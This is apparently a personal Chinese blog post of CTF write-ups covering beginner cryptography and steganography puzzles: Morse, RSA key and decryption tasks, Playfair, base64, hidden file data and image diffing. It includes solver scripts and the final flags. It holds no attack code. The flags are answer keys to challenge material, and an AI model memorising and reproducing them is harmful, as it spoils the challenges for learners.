30-Days

 Qiqi's Blog     2018-02-06   57656 words    & views

30-Days

Day 1

检查符号

题干:截取一段电波,一不小心全变成了泡泡。你能够解密吗? “oooo0。000。ooo。o000。0oooo。0o。0o00。00o。00ooo。o00o。0000o。0oo。0oo。oo000。00oo。oo000。ooo00。ooooo。o0。o000。” 答案格式:key{flag},flag是解密内容

相关知识:古典密码时古代时期人们使用的密码,特征是只会做明文元素的替换和置换。只要知道了加密的算法就能够轻松地破解密文。近代密码加入了机械的帮助,在做明文替换时会使用更加高难度的替换方式,破解起来也会花费更多时间

解题步骤:

很容易猜到是摩斯密码,o对应.,0对应-,。对应空格或者/

试着用php脚本替换一下

<?php
  $data = "oooo0。000。ooo。o000。0oooo。0o。0o00。00o。00ooo。o00o。0000o。0oo。0oo。oo000。00oo。oo000。ooo00。ooooo。o0。o000。";
  $data = str_replace("o", ".", $data);
  $data = str_replace("0", "-", $data);
  $data = str_replace("。", " ", $data);
  echo $data
?>

或者我们写个python脚本

import re
s = "oooo0。000。ooo。o000。0oooo。0o。0o00。00o。00ooo。o00o。0000o。0oo。0oo。oo000。00oo。oo000。ooo00。ooooo。o0。o000。"
a = ["o", "0", "。"]
b = [".", "-", " "]
dic = dict(zip(a, b))
pattern = re.compile('(' + '|'.join(a) + ')')
s = pattern.sub(lambda a:dic[a.group()], s)
print s

输出结果:

….- — … .— -…. -. -.– –. –… .–. —-. -.. -.. ..— –.. ..— …– ….. .- .—

接着,我们还需要写歌脚本来解密

我直接写了加解密的脚本

def decode(s):
    s = s.split(" ")
    dict = {'.-': 'A',
            '-...': 'B',
            '-.-.': 'C',
            '-..': 'D',
            '.': 'E',
            '..-.': 'F',
            '--.': 'G',
            '....': 'H',
            '..': 'I',
            '.---': 'J',
            '-.-': 'K',
            '.-..': 'L',
            '--': 'M',
            '-.': 'N',
            '---': 'O',
            '.--.': 'P',
            '--.-': 'Q',
            '.-.': 'R',
            '...': 'S',
            '-': 'T',
            '..-': 'U',
            '...-': 'V',
            '.--': 'W',
            '-..-': 'X',
            '-.--': 'Y',
            '--..': 'Z',
            '.----': '1',
            '..---': '2',
            '...--': '3',
            '....-': '4',
            '.....': '5',
            '-....': '6',
            '--...': '7',
            '---..': '8',
            '----.': '9',
            '-----': '0',
            '..--..': '?',
            '-..-.': '/',
            '-.--.-': '()',
            '-....-': '-',
            '.-.-.-': '.'
            }
    str = ''
    for item in s:
        str += dict[item]
    print str.upper() + '\n' + str.lower() + '\n' + str.capitalize() + '\n' + str.title()

def encode(s):
    dict = {'A': '.-',
            'B': '-...',
            'C': '-.-.',
            'D': '-..',
            'E': '.',
            'F': '..-.',
            'G': '--.',
            'H': '....',
            'I': '..',
            'J': '.---',
            'K': '-.-',
            'L': '.-..',
            'M': '--',
            'N': '-.',
            'O': '---',
            'P': '.--.',
            'Q': '--.-',
            'R': '.-.',
            'S': '...',
            'T': '-',
            'U': '..-',
            'V': '-.--',
            'Z': '--..',
            '0': '-----',
            '1': '.----',
            '2': '..---',
            '3': '...--',
            '4': '....-',
            '5': '.....',
            '6': '-....',
            '7': '--...',
            '8': '---..',
            '9': '----.',
            '?': '..--..',
            '/': '-..-.',
            '()': '-.--.-',
            '-': '-....-',
            '.': '.-.-.-'
            }
    for char in s:
        if char == ' ':
            print
        else:
            print dict[char.upper()],

if __name__ == "__main__":
    s = raw_input("please input the string: ")
    c = int(raw_input("encode input 1, decode input 2: "))
    if c == 1:
        encode(s)
    if c == 2:
        decode(s)

运行一下,得到

4OSJ6NYG7P9DD2Z235AJ
4osj6nyg7p9dd2z235aj
4osj6nyg7p9dd2z235aj
4Osj6Nyg7P9Dd2Z235Aj

最终正确答案是key{4osj6nyg7p9dd2z235aj}

Day 2

密钥生成

题干:在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17求解出d,格式:key{d}

相关知识:

这题考查现代密码学,非对称加密RSA的密钥生成原理

RSA是目前最有影响力和最常用的公钥加密算法

有关数学知识:

1. 互质

如果两个正整数,除了1以外,没有其他公因子,我们就称这两个数是互质关系(coprime)。(即最大公约数是1)

2. 欧拉函数

对于给定的正整数,计算比该数小且与该数互质的数的个数的算法就是欧拉函数,用φ(n)表示

简单计算方法:φ(n) = (q - 1) * (p - 1),p和q是n的两个素因数

3. 欧拉定理

欧拉定理是RSA算法的核心,是费马小定理的推广

n,a为正整数,且n,a互素(即\gcd(a,n)=1),则

a^\equiv 1{\pmod  n}

5. 模反元素

两个正整数a和n互质,那么一定可以找到整数b,使得 ab-1 被n整除,或者说ab被n除的余数是1。

可以写成这样:

ab\equiv 1{\pmod  {n}}.

密钥生成:

第一步:随机选择两个不相等的质数

比如,选择61和53(现实中,这两个数是非常大的)

第二步:计算p和q的乘积n

n = 61 × 53 = 3233

n的长度就是密钥长度。3233写成二进制是110010100001,一共有12位,所以这个密钥就是12位。实际应用中,RSA密钥一般是1024位,重要场合则为2048位。

第三步:计算n的欧拉函数φ(n)

根据公式:φ(n) = 60 × 52 = 3120

第四步:随机选择一个小于n的正整数e,且e与φ(n)互质

e = 17

第五步:计算e对于φ(n)的模反元素d

ed ≡ 1 (mod φ(n))

等价于ed - 1 = kφ(n)

于是,找到模反元素d,实质上就是对下面这个二元一次方程求解

ex + φ(n)y = 1(e = 17,φ(n) = 3120)

17x + 3120y = 1

这个方程可以用“扩展欧几里得算法”求解,解得d = 2753

拓欧算法python脚本如下:

def ext_euclid ( a , b ):
     if (b == 0):
         return 1, 0, a
     else:
         x , y , q = ext_euclid( b , a % b )
         x , y = y, ( x - (a / b) * y )
         return x, y, q

第六步:将n和e封装成公钥,n和d封装成私钥

公钥:(3233, 17)

私钥:(3233, 2753)

解题步骤:

利用上面提到的拓欧算法脚本

def ext_euclid ( a , b ):
     if (b == 0):
         return 1, 0, a
     else:
         x , y , q = ext_euclid( b , a % b )
         x , y = y, ( x - (a / b) * y )
         return x, y, q
         
p=473398607161
q=4511491
e = 17
fn = (p - 1) * (q - 1)
x, y, q = ext_euclid(fn, e)
print y

输出:125631357777427553

所以flag是key{125631357777427553}

Day 3

RSA解密

题干:加密方式好假,rsa直接解密吧~

相关知识:RSA加密使用的是公钥密钥对,所以解密将使用对应的私钥对。不过也有使用私钥开始的互动,就是数字签名将使用私钥证明签名的所属性,而大家则可以使用公钥去认证签名。在加密或者签名的过程中,RSA还会使用到密钥生成时的模数N,N与公钥私钥参数e和d组合在一起叫做密钥对

解题步骤:

根据提示,rsa解密

打开压缩包,可以看出,有两个文件,一个flag,另一个imhere,flag文件打开,应该是加了密,imhere打开,里面存放着私钥

所以我们使用openssl来解密

qiqi@qiqi-Mac ~/Desktop> openssl rsautl -decrypt -in flag -inkey imhere -out flag.txt

打开flag.txt便得到了flag:key{c42bcf773d54cf03}

openssl使用:

http://man.linuxde.net/openssl

Day 4

公平交易

题干:vv公司称,他们给出了最为公平的游戏规则,你能猜到是什么吗? 规则:FMGKYBXTSFBNCQDSPT,附件:ZKLIPOAGSUMDWFHCBVTRYENXQ. 答案的格式是key{xxxxx},xxx为解密内容大写,所以答案是

相关知识:

根据提示:公平

想到了波雷费密码(英语:Playfair cipher

加密方法:

  1. 选取一个英文字作密钥。除去重复出现的字母。将密钥的字母逐个逐个加入5×5的矩阵内,剩下的空间将未加入的英文字母依a-z的顺序加入(将Q去除,或将I和J视作同一字)
  2. 将要加密的讯息分成两个一组。若组内的字母相同,将X(或Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入X字
  3. 在每组中,找出两个字母在矩阵中的地方
  • 若两个字母不在同一直行或同一横列,在矩阵中找出另外两个字母,使这四个字母成为一个长方形的四个角(横向优先)
  • 若两个字母在同一行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)
  • 若两个字母在同一列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)

解密反过来即可

解题步骤:

本题密码标如下:

Z K L I P

O A G S U

M D W F H

C B V T R

Y E N X Q

密文:FMGKYBXTSFBNCQDSPT

两两一组:

FM GK YB XT SF BN CQ DS PT

解密:

WH AL EC TF IS VE RY FA IR

所以flag就是:key{WHALECTFISVERYFAIR}

我们也可以使用python第三方库pycipher中的Playfair来解密

>>> from pycipher import Playfair
>>> Playfair('ZKLIPOAGSUMDWFHCBVTRYENXQ').decipher('FMGKYBXTSFBNCQDSPT')
'WHALECTFISVERYFAIR'

我们也可以自己写一个python脚本

#coding:utf-8

str_1 = raw_input("input the 25 letters: ") # 25位,写成5*5的密码表
str_2 = ""
str_3 = ""
str_4 = "abcdefghiklmnopqrstuvwxyz" #去掉 j 因为ij在一起
str_5 = ""
str_6 = raw_input("input the rule: ") #要解密的规则  两两分组
list_1 = []
str_7 = ""

def zhongheng(abc, adc):
    a = 0
    x1 = ""
    y1= ''
    x2 = ""
    y2 = ""
    for i in list_1:
        i = list(i)
        if abc in i:
            x1 = a
            y1 = i.index(abc)

        else:
            pass
        if adc in i:
            x2 = a
            y2 = i.index(adc)
        else:
            pass
        a += 1
    print x1, y1, x2, y2

    if x1 == x2:
        if y1 == 0 and y2 == 0:
            return str(list_1[x1][4]) + str(list_1[x2][4])
        if y1 == 0 and y2 != 0:
            return str(list_1[x1][4]) + str(list_1[x2][y2 - 1])
        if y1 != 0 and y2 == 0:
            return str(list_1[x1][y1 - 1]) + str(list_1[x2][4])
        else:
            return str(list_1[x1][y1 - 1]) + str(list_1[x2][y2 - 1])

    if y1 == y2:
        if x1 == 0 and x2 == 0:
            return str(list_1[4][y2]) + str(list_1[4][y2])
        if x1 == 0 and x2 != 0:
            return str(list_1[4][y1]) + str(list_1[x2 - 1][y2])
        if x1 != 0 and x2 == 0:
            return str(list_1[x1 - 1][y1])+ str(list_1[4][y2])
        else:
            return str(list_1[x1 - 1][y1]) + str(list_1[x2 - 1][y2])

    aaie = str(list_1[x1][y2]) + str(list_1[x2][y1])
    return aaie


#去除空格
for i in str_1:
    str_2 += i.strip(" ")

#去掉重复和j
for i in str_2:
    if i in str_3:
        pass
    elif i == "j":
        pass
    else:
        str_3 += i

#填完密钥出现的字母后,若还有空余,就填字母表中剩余的字母(按字母表顺序)
for i in str_4:
    if i in str_3:
        pass
    else:
        str_5 += i
str_3 += str_5

flag = ""

#分为 5x5 的数组
for i in range(5):
    list_1.append(str_3[i * 5 : i * 5 + 5])

for i in range(0, len(str_6), 2):
    flag += zhongheng(str(str_6[i]), str(str_6[i+1]))
print "flag: " + flag

跑一下,也能得到相同的结果

Day 5

填空题

题干:拿到一个填空题,到底该填什么?答案的格式是key{xxxxx},所以答案是

相关知识:目前大家使用的编码为utf-8,这也是使用8位自然存储位的编码方式,各类web应用以及计算机存储都会使用这类编码,还有更新的utf编码格式吗?

解题步骤:

没有任何提示,百度一下rfc4042,得知是utf9或者utf18编码的

所以先安装个utf9库

python解一下

import utf9
f = open('flag_is_here_rfc4042', 'rb')
s = ''
for line in f:
    s += line
    
print utf9.utf9decode(s)

得到:

_____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)*__+_)**_________+_______*(((_________%_______)*__+_______-(________//________))**_______)+(________/__)*(((____-_+_______)*(______+____))**___)+___*((__+_________-_)**_____)+___*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))**__)+(_//_)*(((________%___%__+_____+_____)%______)+_______-_)**___+_____*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___

感觉应该是数学表达式,猜想下划线的个数代表数字,这样就能构成数学算式

再写个脚本,计算一下结果

s = '_____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)*__+_)**_________+_______*(((_________%_______)*__+_______-(________//________))**_______)+(________/__)*(((____-_+_______)*(______+____))**___)+___*((__+_________-_)**_____)+___*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))**__)+(_//_)*(((________%___%__+_____+_____)%______)+_______-_)**___+_____*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___'
ul = s[0]
cnt = 0
exp = ''
for i in s:
    if i is ul:
        cnt += 1
    else:
        if cnt != 0:
            exp += str(cnt)
            cnt = 0
            exp += i
        else:
            exp += i
if cnt != 0:
	exp += str(cnt)
exp = exp.replace('//', '/')
print exp
key = eval(exp)
print key

得到算式:

5*((2/2+3+6-4%4)**((3%(3-1))+8+(3%3+5+7%2+6-(6/(5%3)))))+2*(((8/2)+3%2+7-(8/4))**(1*(5+5)+7+9%3))+8*(((9/2+8%2)+(7-1))**((3+7)+9-(6/2)))+7*((3+9-(6/3-7%2%1))**(5+5+5))+2*(2+9-(3/3-9%5%2))**(9-4+7)+(3+7)**(8%3%2+5+6)+(5-2)*((4/4-5%4%1)+9)**(5-(7/7+9%3)+6)+(5+(9%7)*2+1)**9+7*(((9%7)*2+7-(8/8))**7)+(8/2)*(((4-1+7)*(6+4))**3)+3*((2+9-1)**5)+3*(((3+7-6/3+2-9%5%2)*(3-1+8/2+9%5))**2)+(1/1)*(((8%3%2+5+5)%6)+7-1)**3+5*((6/(5%3))+7)*((9%7)*2+5+1)+3/3+9+9/3

key算出来是:5287002131074331513

瞎捣鼓了半天,发现应该将key转为16进制,再转为字符

key = 5287002131074331513
hk = hex(key)[2:]
ck = ''
for i in range(len(hk) / 2):
	ck += chr(int(hk[i * 2 : i * 2 + 2], 16))
print ck

运行一下得到

I_4m-k3y

所以flag就是key{I_4m-k3y}

Day 6

RSA破解

题干:得到了公钥,怎么才能解密呢?tip分解n,答案格式whalectf{flag}

相关知识:质因数分解问题是困难的,但是可以通过计算机进行暴力分解。1999年,名为Cary的超级计算机用5个月的时间分解了512bit的n。2009年,一群研究人员成功分解了768bit的n。2010年,又提出了一些针对1024bit的n分解的途径,但是没有正面分解成功。目前只要是小于256bit的n用我们的私人计算机就可以很快分解,人们一直在努力攻破RSA

解题步骤:

使用openssl解析公钥文件得到模数和公钥

qiqi@qiqi-Mac ~/Desktop> openssl rsa -pubin -text -modulus -in public.pem
Modulus (256 bit):
    00:ca:00:f5:ed:7b:33:b9:bd:42:1e:77:31:8a:a1:
    78:e7:5d:ed:e3:cb:1b:c7:d4:7a:7d:14:3b:e7:49:
    1c:90:25
Exponent: 65537 (0x10001)
Modulus=CA00F5ED7B33B9BD421E77318AA178E75DEDE3CB1BC7D47A7D143BE7491C9025
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMoA9e17M7m9Qh53MYqheOdd7ePLG8fU
en0UO+dJHJAlAgMBAAE=
-----END PUBLIC KEY-----

公钥:65537 (0x10001)

模数:CA00F5ED7B33B9BD421E77318AA178E75DEDE3CB1BC7D47A7D143BE7491C9025

转换为十进制:91368892744156824784111061767736072407911145707607105701466887321431798747173

使用在线分解网站:http://factordb.com/

p = 290579950064240059571837821251441436997

q = 314436328879392457343835667929324128609

然后写个python脚本解密:

import gmpy2

p = 290579950064240059571837821251441436997
q = 314436328879392457343835667929324128609
e = 65537

f = int(open('flag.enc', 'rb').read().encode('hex'), 16)
print f
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(f, d, n))[2:]
if len(h) % 2 == 1:
    h = '0' + h
s = h.decode('hex')
print s

运行一下得到:whalectf{256_n_get}

Day 7

雨中龙猫

题干:下base雨了,龙猫在雨中很开心的跳跃着,它说雨中能看见答案,答案有27条街那么长,最后一条街叫做py。答案格式为whalectf{xxx}

相关知识:base64编码是从二进制到字符的过程,可以用在http环境下传输较长的标识信息,将字母的ascii码(8)位重新分组为6位后,在由大小写字母,数字以及+和/组成的编码表中重新编码组成

解题步骤:

这题的坑都是自己给自己挖的,完全误解了题目意思,最后还是请教了大佬,发现自己就是给自己挖坑,然后往里跳

其实这题很简单,我们将whalectf{py}进行base64编码,然后把图片用16进制查看器打开,查找编码后的结果d2hhbGVjdGZ7cHl9,因为答案长度27,是3的倍数,所以编码后的结果一定存在于整个答案编码的结果中,所以直接查询,得到两串base64编码的字符串,拼接到一起,得到d2hhbGVjdGZ7TG9uZ19tYW9faXNfaGFwcHl9

解码,得到whalectf{Long_mao_is_happy}

Day 8

鲸鱼日记

题干:鲸鱼去世了沉入海底,只留下了生前的一张照片。人们都说鲸鱼会写日记,找到日记就能找到他的宝藏,你能找到吗?答案格式:whale{xxx}

相关知识:jpeg图片头为00d8ff00,而紧跟其后还有很多描述性的文件头部分,在这些部分中插入信息是不会影响图片打开或者解析的

解题思路:

丢到binwalk里看一下,发现好多zip的文件,用foremost分离一下,得到一个word文档,打开,一篇英文日记

猜想应该是隐藏文字,所以显示隐藏文字,发现每一行的结尾都多了一个字符,从上到下读取一下,whale{lovesea},就是本题的flag

Day 9

追加数据

题干:蓝鲸安全压缩数据被人篡改!文件最后竟然加上了塔主签名!请找到被篡改部分,答案格式:whale{xxx}

相关知识:PNG图片是通过IDAT块来保存图片信息的。通常有两种保存方法,一种是将所有图片信息保存到一个IDAT块中,通常会使用这种方法,但是这样保存的IDAT块会很大。第二种方法是将图片信息压缩奇=后等长地将其分解为连续的IDAT块保存,这样保存的IDAT长度除了最后一块都一样长

解题步骤:

使用pngcheck分析一下图片

qiqi@qiqi-Mac ~/Desktop> pngcheck -v whalectf.png
File: whalectf.png (95258 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1017 x 250 image, 32-bit RGB+alpha, non-interlaced
  chunk pHYs at offset 0x00025, length 9: 11811x11811 pixels/meter (300 dpi)
  chunk tEXt at offset 0x0003a, length 25, keyword: Software
  chunk IDAT at offset 0x0005f, length 94938
    zlib: deflated, 32K window, maximum compression
  chunk IDAT at offset 0x17345, length 193
  chunk IEND at offset 0x17412, length 0
No errors detected in whalectf.png (6 chunks, 90.6% compression).

我们看到一共两个IDAT块,第一个IDAT块的长度超过了65524,所以存储方式应该是只选用一个IDAT块,那么第二个IDAT块显然就是认为添加的了

用16进制编辑器打开,找到偏移量为0x17345的地方,发现是IDAT的标识位,于是我们从IDAT块的起始位置往后找193个长度,得到:

789CA552B911C3300C5B09D87FB99C65E2A11A17915328FC8487C0C7E17BCEF57CCFAFA27CAB749B8A8E3E754C4C15EF25F934CDFF9DD7C0D413EB7D9E18D16F15D2EB0B2BF1D44C6AE6CAB1664F11933436A9D0D8AA6B5A2D09BA785E58EC8AB264111C0330A148170B90DA0E582CF388073676D2022C50CA86B63175A3FD26AE1ECDF2C658D148E0391591C9916A795432FBDDF27F6D2B71476C6C361C052FAA846A91B22C76A25878681B7EA904A950E28887562FDBC59AF6DFF901E0DBC1AB

而png图片的压缩方式是zlib,所以我们写个python脚本解压一下

#coding:utf-8

import zlib
import binascii

IDAT = "789CA552B911C3300C5B09D87FB99C65E2A11A17915328FC8487C0C7E17BCEF57CCFAFA27CAB749B8A8E3E754C4C15EF25F934CDFF9DD7C0D413EB7D9E18D16F15D2EB0B2BF1D44C6AE6CAB1664F11933436A9D0D8AA6B5A2D09BA785E58EC8AB264111C0330A148170B90DA0E582CF388073676D2022C50CA86B63175A3FD26AE1ECDF2C658D148E0391591C9916A795432FBDDF27F6D2B71476C6C361C052FAA846A91B22C76A25878681B7EA904A950E28887562FDBC59AF6DFF901E0DBC1AB".decode('hex')

result = binascii.hexlify(zlib.decompress(IDAT))
bin = result.decode('hex')

print bin
print '\r\n'
print len(bin)

运行一下:

0000000000000000000000000000000001111111000010101001000111111100010000010001000010100101000001000101110101010000011010010111010001011101011010000010110101110100010111010000001001011101011101000100000100110111100101010000010001111111010101010101010111111100000000000101011101100100000000000000010111111001010110110011000000101100001001000100001101000100000001010110111101100011101010000001101000111110011101011101000001001011100110101100101111011000000010101111010110101100101000000011110110010000000111111011110000110000010101101001111000101000011100011100111010011000101110000100110010111111000101000001000001110001100010111000110011100100001011101100111111001110000101000111001110001001101101111100110000000000010010101101110001110000011111110111000100000101010111000100000100101101101001000111000001011101011110001001011111101100010111010011000110111101001110000101110100100100000011010101000001000001001110110110011100101100011111110010000100001110100100000000000000000000000000000000000000000000000000000000000000000000


1024

一串01字符串,长度是1024,是32的平方,猜测可能是个二维码

所以我们写个脚本来生成一下,试一试

from PIL import Image

MAX = 32
pic = Image.new("RGB", (MAX, MAX))
str = "0000000000000000000000000000000001111111000010101001000111111100010000010001000010100101000001000101110101010000011010010111010001011101011010000010110101110100010111010000001001011101011101000100000100110111100101010000010001111111010101010101010111111100000000000101011101100100000000000000010111111001010110110011000000101100001001000100001101000100000001010110111101100011101010000001101000111110011101011101000001001011100110101100101111011000000010101111010110101100101000000011110110010000000111111011110000110000010101101001111000101000011100011100111010011000101110000100110010111111000101000001000001110001100010111000110011100100001011101100111111001110000101000111001110001001101101111100110000000000010010101101110001110000011111110111000100000101010111000100000100101101101001000111000001011101011110001001011111101100010111010011000110111101001110000101110100100100000011010101000001000001001110110110011100101100011111110010000100001110100100000000000000000000000000000000000000000000000000000000000000000000"

i = 0
for y in range(0, MAX):
    for x in range(0, MAX):
        if(str[i] == '1'):
            pic.putpixel([x, y], (0, 0, 0))
        else:
            pic.putpixel([x, y], (255, 255, 255))
        i = i + 1

pic.show()
pic.save("flag.png")

运行一下,真的得到了一个二维码,扫一下得到whale{QR_code_and_png}

Day 10

破碎的心

题干:鲸鱼的心被撕碎了,你能把它拼好吗?答案格式,whale{flag},flag是解密内容

相关知识:

条形码一共有8个区域:左侧空白区 -> 起始符 -> 左侧数据符 -> 中间分隔符 -> 右侧数据符 -> 校验符 -> 终止符 -> 右侧空白区

字符为0~9

除空白区外的区域和字符都采用二进制编码表示,1表示bar(黑条),0表示space(白条)

起始符,终止符编码为101,分隔符编码为01010

0~9每种字符有3种编码方式AB为左侧数据奇偶编码,C为右侧数据偶编码

解题步骤:

打开题目给的图片,是一个不完整的条形码,一懵,没有ps,也不会写脚本

于是我便打开windows虚拟机,用画图工具截取然后shift+⬆️,得到一个完整的条形码

扫一下得到flag:whale{BarC0d3_Pick}

如果没有离线工具,也可以使用在线工具:条形码在线扫描

Day 11

我们不一样

题干:两条孪生鲸鱼兄弟长得一模一样,他们却非说他们不一样。原来在鲸鱼弟弟的尾巴上有一条小小的胎记,你能找到吗?答案格式whale{xxxx}

相关知识:

图片和屏幕现在使用最多的颜色表示标准为RGB编码,该编码方式通过控制每一个图片像素点的RGB三原色强度来控制每个像素点的颜色

解题步骤:

扔binwalk里看一下

qiqi@qiqi-Mac ~/Desktop> binwalk whale.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2000 x 2661, 8-bit/color RGB, non-interlaced
85            0x55            Zlib compressed data, best compression
2755          0xAC3           Zlib compressed data, best compression
3537597       0x35FABD        PNG image, 2000 x 2661, 8-bit/color RGB, non-interlaced
3537651       0x35FAF3        Zlib compressed data, default compression
3540259       0x360523        Zlib compressed data, default compression

发现有两张图片

用foremost分离一下得到两张看上去一模一样的图片

使用stegsolve对比两张图片并进行XOR,导出,用16进制编辑器查

002C00002D00002C00002C00002D00002C00002F00002F00002E00002F00002F00002E00002C00002D00002D00002D00002D00002C00002C00002D00002D00002D00002D00002C00002D00002C00002C00002D00002C00002C00002D00002D00002D00002C00002C00002D00002D00002C00002D00002C00002D00002C00002C00002C00002C00002D00002C00002C00002E00002F00002F00002F00002E00002F00002F00002F00002E00002E00002F00002F00002E00002E00002F00002F00002E00002F00002E00002F00002F00002F00002F00002F00002E00002F00002F00002E00002E00002E00002E00002F00002E00002F00002F00002F00002E00002E00002F00002E00002E00002E00002F00002F00002E00002E00002F00002F00002E00002F00002E00002F00002F00002F00002F00002F00002E00002F00002F00002E00002E00002F00002E00002E00002E00002E00002F00002F00002D00002D00002D00002C00002D00002C00002C00002D00002C00002D00002D00002C00002D00002C00002C00002D00002D00002C00002C00002D00002D00002C00002C00002D00002D00002C00002D00002C00002C00002C00002D00002D00002C00002C00002D00002C00002C00002D00002D00002C00002C00002D00002C00002D00002C00002D00002D00002C00002A00002A00002A00002B00002B00002B00002A00002A00002B00002A00002B00002B00002A00002B00002B00002B00002A00002A00002B00002A

这样一段存在差异

使用python将差异部分进行提取

from PIL import Image

img1 = Image.open("1.png")
im1 = img1.load()
img2 = Image.open("2.png")
im2 = img2.load()

for x in range(img1.size[0]):
	for y in range(img1.size[1]):
    	if(im1[x, y] != im2[x, y]):
        	print im1[x, y], im2[x, y]

运行一下,得到

(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(6, 3, 46) (6, 3, 1)
(6, 3, 46) (6, 3, 1)
(6, 3, 46) (6, 3, 0)
(6, 3, 46) (6, 3, 1)
(6, 3, 46) (6, 3, 1)
(6, 3, 46) (6, 3, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 0)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(5, 2, 45) (5, 2, 1)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 0)
(5, 4, 46) (5, 4, 1)
(5, 4, 46) (5, 4, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
